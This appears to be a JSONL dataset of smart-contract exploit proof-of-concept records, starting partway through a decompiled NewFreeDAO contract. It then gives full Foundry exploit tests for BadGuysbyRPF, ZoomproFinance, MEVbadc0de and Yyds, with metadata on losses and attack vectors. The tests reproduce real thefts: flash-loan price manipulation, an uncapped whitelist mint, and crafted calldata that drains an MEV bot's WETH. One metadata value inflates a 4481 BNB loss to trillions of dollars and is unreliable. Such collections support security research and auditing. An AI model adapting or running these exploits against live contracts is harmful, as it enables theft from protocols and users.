owner_d[address(varg0)]);\n if (block.timestamp > stor_7) {\n if (v4 > 0) {\n v5 = 0x3182(stor_b, v1);\n v2 = v6 = _SafeDiv(0xf4240, v5);\n }\n } else if (v4 > 0) {\n v7 = 0x3182(stor_b, v1);\n v8 = 0x3182(v4, v7);\n v2 = v9 = _SafeDiv(0xf4240, v8);\n }\n map_e[address(varg0)] = v2;\n}\n\nfunction withdrawStuckTokens(address varg0, uint256 varg1) public nonPayable { \n require(msg.data.length - 4 >= 64);\n require(_owner == msg.sender, 'Ownable: caller is not the owner');\n require(varg0.code.size);\n v0, v1 = varg0.transfer(msg.sender, varg1).gas(msg.gas);\n require(v0); // checks call status, propagates error data on error\n require(RETURNDATASIZE() >= 32);\n}\n\nfunction 0xcbd8b23c() public nonPayable { \n return stor_c;\n}\n\nfunction 0xcf8465c2(uint256 varg0) public nonPayable { \n require(msg.data.length - 4 >= 32);\n return map_e[address(varg0)];\n}\n\nfunction 0xd414e629() public nonPayable { \n return stor_5_0_0;\n}\n\nfunction manager(address varg0) public nonPayable { \n require(msg.data.length - 4 >= 32);\n return 0xff & _manager[varg0];\n}\n\nfunction 0xe03b0b0d(uint256 varg0) public nonPayable { \n require(msg.data.length - 4 >= 32);\n if (owner_d[address(varg0)] <= 0) {\n owner_d[address(varg0)] = stor_6;\n }\n if (owner_d[address(varg0)] <= block.timestamp) {\n v0 = _SafeDiv(stor_8, block.timestamp - owner_d[address(varg0)]);\n map_f[address(varg0)] = v0;\n exit;\n } else {\n v1 = new array[](v2.length);\n v3 = v4 = 0;\n while (v3 < v2.length) {\n MEM[v1.data + v3] = v2[v3];\n v3 = v3 + 32;\n }\n if (30) {\n MEM[v1.data] = ~0xffff & MEM[v1.data];\n }\n revert(v1);\n }\n}\n\nfunction 0xe2e4ded2(uint256 varg0) public nonPayable { \n require(msg.data.length - 4 >= 32);\n return owner_d[address(varg0)];\n}\n\nfunction 0xe9687b7f(uint256 varg0, uint256 varg1) public nonPayable { \n require(msg.data.length - 4 >= 64);\n require(_owner == msg.sender, 'Ownable: caller is not the owner');\n _manager[address(varg0)] = varg1 | ~0xff & _manager[address(varg0)];\n}\n\nfunction 0xecef50e2(uint256 varg0) public nonPayable { \n require(msg.data.length - 4 >= 32);\n require(_isAirAddr.code.size);\n v0, v1 = _isAirAddr.call(0xc27aafa7, varg0).gas(msg.gas);\n require(v0); // checks call status, propagates error data on error\n require(RETURNDATASIZE() >= 32);\n stor_a_0_19 = v1;\n return stor_a_0_19;\n}\n\nfunction transferOwnership(address varg0) public nonPayable { \n require(msg.data.length - 4 >= 32);\n require(_owner == msg.sender, 'Ownable: caller is not the owner');\n require(varg0 != 0, 'Ownable: new owner is the zero address');\n emit OwnershipTransferred(_owner, varg0);\n _owner = varg0;\n}\n\n// Note: The function selector is not present in the original solidity code.\n// However, we display it for the sake of completeness.\n\nfunction __function_selector__(bytes4 function_selector) public payable { \n MEM[64] = 128;\n if (msg.data.length < 4) {\n if (!msg.data.length) {\n ();\n }\n } else {\n v0 = function_selector >> 224;\n if (0x6811e3b9 > v0) {\n if (0x3e42c001 > v0) {\n if (0x2ea7088b > v0) {\n if (0x165a8104 == v0) {\n 0x165a8104();\n } else if (0x176069e3 == v0) {\n 0x176069e3();\n } else if (0x1b856149 == v0) {\n 0x1b856149();\n } else if (0x1f6c647e == v0) {\n 0x1f6c647e();\n }\n } else if (0x2ea7088b == v0) {\n 0x2ea7088b();\n } else if (0x340ac20f == v0) {\n changeRouter(address);\n } else if (0x37a7f92b == v0) {\n 0x37a7f92b();\n } else if (0x3ac8730e == v0) {\n 0x3ac8730e();\n } else if (0x3d4b9272 == v0) {\n 0x3d4b9272();\n }\n } else if (0x556dd2dc > v0) {\n if (0x3e42c001 == v0) {\n 0x3e42c001();\n } else if (0x450d8418 == v0) {\n 0x450d8418();\n } else if (0x49bd5a5e == v0) {\n uniswapV2Pair();\n } else if (0x520adcf0 == v0) {\n 0x520adcf0();\n }\n } else if (0x556dd2dc == v0) {\n 0x556dd2dc();\n } else if (0x56d7f5c6 == v0) {\n 0x56d7f5c6();\n } else if (0x5a6b26ba == v0) {\n withdrawal(address,uint256);\n } else if (0x63c02ccc == v0) {\n isAirAddr(address);\n } else if (0x66240220 == v0) {\n 0x66240220();\n }\n } else if (0xbd61f0a6 > v0) {\n if (0x8da5cb5b > v0) {\n if (0x6811e3b9 == v0) {\n 0x6811e3b9();\n } else if (0x715018a6 == v0) {\n renounceOwnership();\n } else if (0x76fc7ac2 == v0) {\n 0x76fc7ac2();\n } else if (0x84af0fcc == v0) {\n 0x84af0fcc();\n }\n } else if (0x8da5cb5b == v0) {\n owner();\n } else if (0x8e6ced06 == v0) {\n 0x8e6ced06();\n } else if (0x8fd6196c == v0) {\n 0x8fd6196c();\n } else if (0x8fd81532 == v0) {\n 0x8fd81532();\n } else if (0x92116ca2 == v0) {\n 0x92116ca2();\n }\n } else if (0xe03b0b0d > v0) {\n if (0xbd61f0a6 == v0) {\n withdrawStuckTokens(address,uint256);\n } else if (0xcbd8b23c == v0) {\n 0xcbd8b23c();\n } else if (0xcf8465c2 == v0) {\n 0xcf8465c2();\n } else if (0xd414e629 == v0) {\n 0xd414e629();\n } else if (0xd4d2e7f2 == v0) {\n manager(address);\n }\n } else if (0xe03b0b0d == v0) {\n 0xe03b0b0d();\n } else if (0xe2e4ded2 == v0) {\n 0xe2e4ded2();\n } else if (0xe9687b7f == v0) {\n 0xe9687b7f();\n } else if (0xecef50e2 == v0) {\n 0xecef50e2();\n } else if (0xf2fde38b == v0) {\n transferOwnership(address);\n }\n }\n revert();\n}\n*/\n", "type": "exploit_poc", "protocol": "NewFreeDAO", "date": "2022-09", "file_name": "NewFreeDAO_exp.sol", "attack_vector": "flash_loan", "content_hash": "2720d8d5e3f5a39e", "collected_at": "2026-01-07T10:59:16.525916", "_source": "postmortems", "chain": "unknown", "block_number": 21140434, "total_lost_raw": "4481 BNB (~125M US$)", "total_lost_usd": 4481000000000.0, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "critical", "severity_raw": "4481 BNB (~125M US$)", "category": "flash-loan", "exploit_code": "function testExploit() public {\n console.log(\"Flashloan 250 WBNB from DODO DLP...\");\n bytes memory data = abi.encode(dodo, wbnb, 250 * 1e18);\n DVM(dodo).flashLoan(0, 250 * 1e18, address(this), data);\n }", "has_exploit_code": true, "keyinfo_total_lost": "4481 BNB (~125M US$)", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$4481000.00M", "content_richness_score": 8, "quality_estimate": "high", "title": "NewFreeDAO Exploit (2022-09)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity 0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n/*\nBad Guys by RPF Business Logic Flaw Exploit PoC\n\nThe exploit was due to the missing check for \"chosenAmount\" in the WhiteListMint function which allowed the attacker to pass the number of NFTs he/she wanted to mint.\n\nTo understand more about NFT Merkle Proof - https://www.youtube.com/watch?v=67vkL8XkoJ0\n\nEtherscan tx - https://etherscan.io/tx/0xb613c68b00c532fe9b28a50a91c021d61a98d907d0217ab9b44cd8d6ae441d9f\n\nforge test --contracts ./src/test/BadGuysbyRPF_exp.sol -vv*/\n\ncontract BadGuysbyRPFExploit is Test {\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n address owner = 0x09eFF2449882F9e727A8e9498787f8ff81465Ade; //owner of Bad Guys by RPF\n address attacker = 0xBD8A137E79C90063cd5C0DB3Dbabd5CA2eC7e83e;\n\n IBadGuysRPFERC721 RPFContract = IBadGuysRPFERC721(0xB84CBAF116eb90fD445Dd5AeAdfab3e807D2CBaC);\n bytes32[] merkleTree;\n\n function setUp() public {\n cheats.createSelectFork(\"mainnet\", 15_460_093); //fork mainnet at 15460093\n\n // There should be an easier way to do this\n // I tried passing it as whole array but did not work\n merkleTree.push(0xa3299324d1c59598e0dfa68de8d8c03d7492d88f6068cdd633a74eb9212e19e5);\n merkleTree.push(0x5dcd197f362a82daaf56545974db26aabfe335be4c7eef015d3d74ccea4bf511);\n merkleTree.push(0x18d716ad7f5113fe53b24a30288c6989dd04e6ad881be58b482d8d58f71c42da);\n merkleTree.push(0x97a98e092a76c15cef3709df2776cf974e2519231e79c9ad97c15a1835c5c4be);\n merkleTree.push(0x171696d6231b4a201927b35fe2dae4b91cefb62bef849a143560ebbb49cee5df);\n merkleTree.push(0xe89305151bbec931414ab9693bf886cf3b96dba00ca338b1c0aaae911b6dff35);\n merkleTree.push(0x69691b91227fa34a7a9a691d355fd6c466370928ddf3d50a347e894970f10079);\n merkleTree.push(0x78299a273b7d50bcb1d75df1694be463b9cc66c6520026b785615c4594dbb1ba);\n merkleTree.push(0xb297db4d926f0ebc26e098afcefa63d1d86d2e047ecbc36357192ef5240ea0ea);\n merkleTree.push(0xb875ced562ca82ce114152c899bbd085d230a17be452243fda43bf995774243e);\n merkleTree.push(0xd284a1831379548ff6bb0b5ad75ce8d0d1fea1cdc7b40b5f8d2e2307c9eda32c);\n merkleTree.push(0x7eff30a405cfce9989fe9d71e346d7b3616fa69b8251782898226268818f63fb);\n merkleTree.push(0x651ec4246f6e842692770a6ebd63396b4d62b52a3406522a02f182b8a16ba48c);\n merkleTree.push(0xee17656e8a839ac096dd5905744ada01278fc49b978260e9e3ddd92223cc18d7);\n merkleTree.push(0xce5c61c22a5d840c02b32aaebf73c9bc3c3d71c49f22b22c4f3cae4aa1fd557b);\n }\n\n function testExploit() public {\n //quick hack to enable Minting in Block#15460093\n //In actual hack the Mint was live in Block#15460094\n cheats.prank(owner);\n RPFContract.flipPauseMinting();\n\n console.log(\"[Before WhiteListMint] Attacker's Bad Guys by RPF NFT Balance: \", RPFContract.balanceOf(attacker));\n\n cheats.prank(attacker);\n RPFContract.WhiteListMint(merkleTree, 400); //mint 400 Bad Guys by RPF\n\n console.log(\"[After WhiteListMint] Attacker's Bad Guys by RPF NFT Balance: \", RPFContract.balanceOf(attacker));\n }\n}\n", "type": "exploit_poc", "protocol": "BadGuysbyRPF", "date": "2022-09", "file_name": "BadGuysbyRPF_exp.sol", "attack_vector": null, "content_hash": "f56a441e2d2df6d5", "collected_at": "2026-01-07T10:59:16.526031", "_source": "postmortems", "chain": "ethereum", "block_number": 15460093, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function testExploit() public {\n //quick hack to enable Minting in Block#15460093\n //In actual hack the Mint was live in Block#15460094\n cheats.prank(owner);\n RPFContract.flipPauseMinting();\n\n console.log(\"[Before WhiteListMint] Attacker's Bad Guys by RPF NFT Balance: \", RPFContract.balanceOf(attacker));\n\n cheats.prank(attacker);\n RPFContract.WhiteListMint(merkleTree, 400); //mint 400 Bad Guys by RPF\n\n console.log(\"[After WhiteListMint] Attacker's Bad Guys by RPF NFT Balance: \", RPFContract.balanceOf(attacker));\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 3.61, "quality_estimate": "low", "title": "BadGuysbyRPF Exploit (2022-09)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// Exploit Alert ref: https://twitter.com/blocksecteam/status/1567027459207606273?s=21&t=ZNoZgSdAuI4dJIFlMaTJeg\n// Origin Attack Transaction: 0xe176bd9cfefd40dc03508e91d856bd1fe72ffc1e9260cd63502db68962b4de1a\n// Blocksec Txinfo: https://tools.blocksec.com/tx/bsc/0xe176bd9cfefd40dc03508e91d856bd1fe72ffc1e9260cd63502db68962b4de1a\n\n// Attack Addr: 0xc578d755cd56255d3ff6e92e1b6371ba945e3984\n// Attack Contract: 0xb8d700f30d93fab242429245e892600dcc03935d\n\ninterface IUSD {\n function batchToken(address[] calldata _addr, uint256[] calldata _num, address token) external;\n function swapTokensForExactTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external returns (uint256[] memory amounts);\n function buy(\n uint256\n ) external;\n function sell(\n uint256\n ) external;\n function getReserves() external view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast);\n function sync() external;\n}\n\ncontract ContractTest is Test {\n IPancakePair PancakePair = IPancakePair(0x7EFaEf62fDdCCa950418312c6C91Aef321375A00); // KIMO/WBNB pair\n address private usdt = 0x55d398326f99059fF775485246999027B3197955;\n address private swap = 0x5a9846062524631C01ec11684539623DAb1Fae58;\n IERC20 Usdt = IERC20(usdt);\n address private zoom = 0x9CE084C378B3E65A164aeba12015ef3881E0F853;\n address private batch = 0x47391071824569F29381DFEaf2f1b47A4004933B; //Batch Token\n address private fUSDT = 0x62D51AACb079e882b1cb7877438de485Cba0dD3f; // Fake USDT\n address private pp = 0x1c7ecBfc48eD0B34AAd4a9F338050685E66235C5; // FakeUSDT/Zoom pair\n IERC20 Zoom = IERC20(zoom);\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"bsc\", 21_055_930); //fork bsc at block number 21055930\n }\n\n function testExploit() public {\n emit log_named_decimal_uint(\"[Start] Attacker WBNB balance before exploit\", Usdt.balanceOf(address(this)), 18);\n\n // flashloan - Brrow 3,000,000 USDT\n PancakePair.swap(3_000_000_000_000_000_000_000_000, 0, address(this), new bytes(1));\n\n emit log_named_decimal_uint(\n \"[End] After repay, Profit: USDT balance of attacker\", Usdt.balanceOf(address(this)), 18\n );\n }\n\n function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {\n uint256 ba = Usdt.balanceOf(address(this));\n Usdt.approve(swap, 100_000_000_000_000_000_000_000_000_000_000_000_000);\n\n // use usdt to swap zoom\n IUSD(swap).buy(ba);\n emit log_named_decimal_uint(\"Zoom balance of attacker:\", Zoom.balanceOf(address(this)), 18);\n\n address[] memory n1 = new address[](1);\n n1[0] = pp;\n uint256[] memory n2 = new uint256[](1);\n n2[0] = 1_000_000 ether;\n emit log_named_decimal_uint(\n \"Before manipulate price, Fake USDT balance of pair:\", IERC20(fUSDT).balanceOf(address(pp)), 18\n );\n emit log_named_decimal_uint(\"Before manipulate price, Zoom balance of pair:\", Zoom.balanceOf(address(pp)), 18);\n IUSD(batch).batchToken(n1, n2, fUSDT);\n\n emit log_named_decimal_uint(\n \"After manipulate price, Fake USDT balance of pair:\", IERC20(fUSDT).balanceOf(address(pp)), 18\n );\n emit log_named_decimal_uint(\"After manipulate price, Zoom balance of pair:\", Zoom.balanceOf(address(pp)), 18);\n\n // calling pair Fake USDT-Zoom sync() to update latest price\n IUSD(pp).sync();\n\n uint256 baz = Zoom.balanceOf(address(this));\n Zoom.approve(swap, baz * 100);\n IUSD(swap).sell(baz);\n\n emit log_named_decimal_uint(\"After selling Zoom, USDT balance of attacker:\", Usdt.balanceOf(address(this)), 18);\n //Repay flashloan\n Usdt.transfer(address(PancakePair), (ba * 10_030) / 10_000);\n\n uint256 U = Usdt.balanceOf(address(this));\n IERC20(usdt).transfer(address(this), U);\n }\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "ZoomproFinance", "date": "2022-09", "file_name": "ZoomproFinance_exp.sol", "attack_vector": "flash_loan", "content_hash": "cc0159d2b8782a89", "collected_at": "2026-01-07T10:59:16.526078", "_source": "postmortems", "chain": "unknown", "block_number": 21055930, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": true, "severity": "medium", "severity_raw": null, "category": "flash-loan", "exploit_code": "function testExploit() public {\n emit log_named_decimal_uint(\"[Start] Attacker WBNB balance before exploit\", Usdt.balanceOf(address(this)), 18);\n\n // flashloan - Brrow 3,000,000 USDT\n PancakePair.swap(3_000_000_000_000_000_000_000_000, 0, address(this), new bytes(1));\n\n emit log_named_decimal_uint(\n \"[End] After repay, Profit: USDT balance of attacker\", Usdt.balanceOf(address(this)), 18\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 5.12, "quality_estimate": "medium", "title": "ZoomproFinance Exploit (2022-09)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity 0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n/**\n * POC Build by\n * - https://twitter.com/kayaba2002\n * - https://twitter.com/eugenioclrc\n */\ninterface Structs {\n struct Val {\n uint256 value;\n }\n\n enum ActionType {\n Deposit, // supply tokens\n Withdraw, // borrow tokens\n Transfer, // transfer balance between accounts\n Buy, // buy an amount of some token (externally)\n Sell, // sell an amount of some token (externally)\n Trade, // trade tokens against another account\n Liquidate, // liquidate an undercollateralized or expiring account\n Vaporize, // use excess tokens to zero-out a completely negative account\n Call // send arbitrary data to an address\n\n }\n\n enum AssetDenomination {\n Wei // the amount is denominated in wei\n\n }\n\n enum AssetReference {\n Delta // the amount is given as a delta from the current value\n\n }\n\n struct AssetAmount {\n bool sign; // true if positive\n AssetDenomination denomination;\n AssetReference ref;\n uint256 value;\n }\n\n struct ActionArgs {\n ActionType actionType;\n uint256 accountId;\n AssetAmount amount;\n uint256 primaryMarketId;\n uint256 secondaryMarketId;\n address otherAddress;\n uint256 otherAccountId;\n bytes data;\n }\n\n struct Info {\n address owner; // The address that owns the account\n uint256 number; // A nonce that allows a single address to control many accounts\n }\n\n struct Wei {\n bool sign; // true if positive\n uint256 value;\n }\n}\n\nlibrary Account {\n struct Info {\n address owner;\n uint256 number;\n }\n}\n\ninterface DyDxPool is Structs {\n function getAccountWei(Info memory account, uint256 marketId) external view returns (Wei memory);\n function operate(Info[] memory, ActionArgs[] memory) external;\n}\n\ncontract ContractTest is Test {\n IERC20 weth = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n DyDxPool pool = DyDxPool(0x1E0447b19BB6EcFdAe1e4AE1694b0C3659614e4e); //this is dydx solo margin sc\n\n address exploiter;\n address MEVBOT = 0xbaDc0dEfAfCF6d4239BDF0b66da4D7Bd36fCF05A;\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n exploiter = cheats.addr(31_337);\n\n // fork mainnet at block 15625424\n cheats.createSelectFork(\"mainnet\", 15_625_424);\n }\n\n function testExploit() public {\n emit log_named_decimal_uint(\"MEV Bot balance before exploit:\", weth.balanceOf(MEVBOT), 18);\n\n Structs.Info[] memory _infos = new Structs.Info[](1);\n _infos[0] = Structs.Info({owner: address(this), number: 1});\n\n Structs.ActionArgs[] memory _args = new Structs.ActionArgs[](1);\n _args[0] = Structs.ActionArgs(\n // ActionType actionType;\n Structs.ActionType.Call,\n // uint256 accountId;\n 0,\n // AssetAmount amount;\n Structs.AssetAmount(\n // bool sign; // true if positive\n false,\n // AssetDenomination denomination;\n Structs.AssetDenomination.Wei,\n // AssetReference ref;\n Structs.AssetReference.Delta,\n // uint256 value;\n 0\n ),\n // uint256 primaryMarketId;\n 0,\n // uint256 secondaryMarketId;\n 0,\n // address otherAddress;\n MEVBOT,\n // uint256 otherAccountId;\n 0,\n // bytes data;\n //abi.encodeWithSignature(\"approve(address,uint256)\", address(this), type(uint256).max)\n // no idea of what of how this byte calldata works\n bytes.concat(\n abi.encode(\n 0x0000000000000000000000000000000000000000000000000000000000000003,\n address(pool),\n 0x0000000000000000000000000000000000000000000000000000000000000000,\n 0x0000000000000000000000000000000000000000000000000000000000000000,\n 0x0000000000000000000000000000000000000000000000000000000000000000,\n 0x00000000000000000000000000000000000000000000000000000000000000e0,\n 0x000000000000000000000000000000000000000000000beff1ceef246ef7bd1f,\n 0x0000000000000000000000000000000000000000000000000000000000000001,\n 0x0000000000000000000000000000000000000000000000000000000000000020,\n 0x0000000000000000000000000000000000000000000000000000000000000000,\n 0x0000000000000000000000000000000000000000000000000000000000000000,\n address(this),\n address(weth)\n ),\n abi.encode(\n 0x00000000000000000000000000000000000000000000000000000000000000a0,\n address(this),\n 0x0000000000000000000000000000000000000000000000000000000000000040,\n 0x00000000000000000000000000000000000000000000000000000000000000a0,\n 0x0000000000000000000000000000000000000000000000000000000000000004,\n 0x4798ce5b00000000000000000000000000000000000000000000000000000000,\n 0x0000000000000000000000000000000000000000000000000000000000000002,\n 0x0000000000000000000000000000000000000000000000000000000000000004,\n 0x0000000000000000000000000000000000000000000000000000000000000001,\n 0x0000000000000000000000000000000000000000000000000000000000000001,\n 0x0000000000000000000000000000000000000000000000000000000000000002,\n 0x0000000000000000000000000000000000000000000000000000000000000002\n )\n )\n );\n\n pool.operate(_infos, _args);\n\n emit log_named_decimal_uint(\"Contract BADCODE WETH Allowance\", weth.allowance(MEVBOT, address(this)), 18);\n\n weth.transferFrom(MEVBOT, exploiter, weth.balanceOf(MEVBOT));\n\n emit log_named_decimal_uint(\"MEV Bot WETH balance After exploit:\", weth.balanceOf(MEVBOT), 18);\n\n emit log_named_decimal_uint(\"Exploiter WETH balance After exploit:\", weth.balanceOf(exploiter), 18);\n\n assertEq(weth.balanceOf(MEVBOT), 0);\n }\n\n /**\n * For some reason it calls a 00000000 function on our contract.\n * By changing values on the encode args we can proabaly change the func signature\n * Meanwhile we can add a fallback and run our logic in there.\n *\n * ContractTest::00000000(000000000000000000000000000000000000000000000000000000044798ce5b00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000beff1ceef246ef7bd1f00000000000000000000000000000000000000000000000000000001)\n */\n fallback() external {}\n}\n", "type": "exploit_poc", "protocol": "MEVbadc0de", "date": "2022-09", "file_name": "MEVbadc0de_exp.sol", "attack_vector": null, "content_hash": "60b8d13a9d8a2540", "collected_at": "2026-01-07T10:59:16.526139", "_source": "postmortems", "chain": "unknown", "block_number": 15625424, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function testExploit() public {\n emit log_named_decimal_uint(\"MEV Bot balance before exploit:\", weth.balanceOf(MEVBOT), 18);\n\n Structs.Info[] memory _infos = new Structs.Info[](1);\n _infos[0] = Structs.Info({owner: address(this), number: 1});\n\n Structs.ActionArgs[] memory _args = new Structs.ActionArgs[](1);\n _args[0] = Structs.ActionArgs(\n // ActionType actionType;\n Structs.ActionType.Call,\n // uint256 accountId;\n 0,\n // AssetAmount amount;\n Structs.AssetAmount(\n // bool sign; // true if positive\n false,\n // AssetDenomination denomination;\n Structs.AssetDenomination.Wei,\n // AssetReference ref;\n Structs.AssetReference.Delta,\n // uint256 value;\n 0\n ),\n // uint256 primaryMarketId;\n 0,\n // uint256 secondaryMarketId;\n 0,\n // address otherAddress;\n MEVBOT,\n // uint256 otherAccountId;\n 0,\n // bytes data;\n //abi.encodeWithSignature(\"approve(address,uint256)\", address(this), type(uint256).max)\n // no idea of what of how this byte calldata works\n bytes.concat(\n abi.encode(\n 0x0000000000000000000000000000000000000000000000000000000000000003,\n address(pool),\n 0x0000000000000000000000000000000000000000000000000000000000000000,\n 0x0000000000000000000000000000000000000000000000000000000000000000,\n 0x0000000000000000000000000000000000000000000000000000000000000000,\n 0x00000000000000000000000000000000000000000000000000000000000000e0,\n 0x000000000000000000000000000000000000000000000beff1ceef246ef7bd1f,\n 0x0000000000000000000000000000000000000000000000000000000000000001,\n 0x0000000000000000000000000000000000000000000000000000000000000020,\n 0x0000000000000000000000000000000000000000000000000000000000000000,\n 0x0000000000000000000000000000000000000000000000000000000000000000,\n address(this),\n address(weth)\n ),\n abi.encode(\n 0x00000000000000000000000000000000000000000000000000000000000000a0,\n address(this),\n 0x0000000000000000000000000000000000000000000000000000000000000040,\n 0x00000000000000000000000000000000000000000000000000000000000000a0,\n 0x0000000000000000000000000000000000000000000000000000000000000004,\n 0x4798ce5b00000000000000000000000000000000000000000000000000000000,\n 0x0000000000000000000000000000000000000000000000000000000000000002,\n 0x0000000000000000000000000000000000000000000000000000000000000004,\n 0x0000000000000000000000000000000000000000000000000000000000000001,\n 0x0000000000000000000000000000000000000000000000000000000000000001,\n 0x0000000000000000000000000000000000000000000000000000000000000002,\n 0x0000000000000000000000000000000000000000000000000000000000000002\n )\n )\n );\n\n pool.operate(_infos, _args);\n\n emit log_named_decimal_uint(\"Contract BADCODE WETH Allowance\", weth.allowance(MEVBOT, address(this)), 18);\n\n weth.transferFrom(MEVBOT, exploiter, weth.balanceOf(MEVBOT));\n\n emit log_named_decimal_uint(\"MEV Bot WETH balance After exploit:\", weth.balanceOf(MEVBOT), 18);\n\n emit log_named_decimal_uint(\"Exploiter WETH balance After exploit:\", weth.balanceOf(exploiter), 18);\n\n assertEq(weth.balanceOf(MEVBOT), 0);\n }\n\n /**\n * For some reason it calls a 00000000 function on our contract.\n * By changing values on the encode args we can proabaly change the func signature\n * Meanwhile we can add a fallback and run our logic in there.\n *\n * ContractTest::00000000(000000000000000000000000000000000000000000000000000000044798ce5b00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000beff1ceef246ef7bd1f00000000000000000000000000000000000000000000000000000001)\n */\n fallback() external {}", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 5, "quality_estimate": "medium", "title": "MEVbadc0de Exploit (2022-09)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "pragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\ninterface TargetClaim {\n function claim(\n address\n ) external;\n}\n\ninterface TargetWithdraw {\n function withdrawReturnAmountByMerchant() external;\n function withdrawReturnAmountByConsumer() external;\n function withdrawReturnAmountByReferral() external;\n}\n\ncontract ContractTest is Test {\n IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);\n IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IERC20 YYDS = IERC20(0xB19463ad610ea472a886d77a8ca4b983E4fAf245);\n Uni_Pair_V2 Pair = Uni_Pair_V2(0xd5cA448b06F8eb5acC6921502e33912FA3D63b12);\n TargetClaim targetClaim = TargetClaim(0xe70cdd37667cdDF52CabF3EdabE377C58FaE99e9);\n TargetWithdraw targetWihtdraw = TargetWithdraw(0x970A76aEa6a0D531096b566340C0de9B027dd39D);\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n uint256 reserve0;\n uint256 reserve1;\n\n function setUp() public {\n cheats.createSelectFork(\"bsc\", 21_157_025);\n }\n\n function testExploit() public {\n emit log_named_decimal_uint(\"[Start] Attacker USDT balance before exploit\", USDT.balanceOf(address(this)), 18);\n\n (reserve0, reserve1,) = Pair.getReserves();\n uint256 amount0Out = USDT.balanceOf(address(Pair));\n Pair.swap(amount0Out - 1 * 1e18, 0, address(this), new bytes(1));\n\n emit log_named_decimal_uint(\"[End] Attacker USDT balance after exploit\", USDT.balanceOf(address(this)), 18);\n }\n\n function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {\n emit log_named_decimal_uint(\"Attacker YYDS balance before exploit\", YYDS.balanceOf(address(this)), 18);\n\n targetClaim.claim(address(this));\n try targetWihtdraw.withdrawReturnAmountByReferral() {} catch {}\n try targetWihtdraw.withdrawReturnAmountByMerchant() {} catch {}\n try targetWihtdraw.withdrawReturnAmountByConsumer() {} catch {}\n\n emit log_named_decimal_uint(\"Attacker YYDS balance after exploit\", YYDS.balanceOf(address(this)), 18);\n\n uint256 yydsInContract = YYDS.balanceOf(address(this));\n YYDS.transfer(address(Pair), yydsInContract);\n uint256 yydsInPair = YYDS.balanceOf(address(Pair));\n uint256 amountUsdt =\n (reserve0 * reserve1 / ((yydsInPair * 10_000 - yydsInContract * 25) / 10_000)) / 9975 * 10_000;\n USDT.transfer(address(Pair), amountUsdt);\n }\n}\n", "type": "exploit_poc", "protocol": "Yyds", "date": "2022-09", "file_name": "Yyds_exp.sol", "attack_vector": null, "content_hash": "16dd352491806d51", "collected_at": "2026-01-07T10:59:16.526202", "_source": "postmortems", "chain": "unknown", "block_number": 21157025, 